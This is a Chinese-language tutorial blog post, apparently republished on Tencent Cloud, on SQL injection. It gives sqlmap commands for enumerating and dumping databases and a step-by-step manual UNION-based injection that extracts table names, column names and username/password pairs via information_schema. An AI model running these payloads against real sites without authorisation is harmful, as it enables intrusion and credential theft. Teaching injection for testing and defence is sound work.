前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >web安全之sql注入

web安全之sql注入

作者头像
墨文
发布2020-02-28 13:11:29
7590
发布2020-02-28 13:11:29
举报
文章被收录于专栏:m0w3n

0、实际案例:

使用sqlmap工具对注入点进行SQL测试:

1、sqlmap.py -u "url" --dbs 获取数据库

2、sqlmap.py -u "url" -D 数据库名称 --tables 获取表名

3、sqlmap.py -u "url" -D 数据库名称 -T 表名 --columns 获取字段

4、sqlmap.py -u "url" -D 数据库名称 -T 表名 -C 字段1,字段2,字段3 --dump 获取数据

1、sql基础

select:用于从表中获取数据。结果被存储在一个结果表中(成为结果集)。

where:用于提取那些满足指定标准的记录。

union:操作符用于合并两个或多个SELECT语句的结果集。请注意,union内部的select语句必须拥有相同数量的列。

order by:用于对结果集进行排序。

2、MySQL基础

 information_schema:MySQL自带的,在MySQL中,把information_schema看作是一个数据库,确切的说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表的字段类型与访问权限等。

concat:用于字符串连接;

concat_ws:用于字符串连接,第一个参数是连接字符串的分隔符;

3、手工注入

1、使用order by确定列数

代码语言:javascript
复制
select * from user where id = 1 order by 1

2、找出数据名

代码语言:javascript
复制
select * from user where id = 1 union select 1,2,3

使用负数输出union的select值:

代码语言:javascript
复制
select * from user where id = -1 union select 1,2,3

使用 database() 函数输出数据库名称:

代码语言:javascript
复制
select * from user where id = -1 union select 1,database(),3

使用 user() 函数输出用户名信息:

代码语言:javascript
复制
select * from user where id = -1 union select 1,database(),user()

3、找出对应的表

使用 information_schema.tables 输出表名信息:

代码语言:javascript
复制
select * from user where id = -1 union select 1,table_name,3 from information_schema.tables where table_schema = 'sqltest'

4、找出对应的列

使用 information_schema.colmns 输出字段信息:

代码语言:javascript
复制
select * from user where id = -1 union select 1,column_name,3 from information_schema.columns where table_schema = 'sqltest' limit 2,1

5、找到所要的数据

代码语言:javascript
复制
select * from user where id = -1 union select 1,concat_ws(char(32,58,32),id,username,password),3 from  user
代码语言:javascript
复制
char(32,58,32):32表示空格、58表':'
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-08-19 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档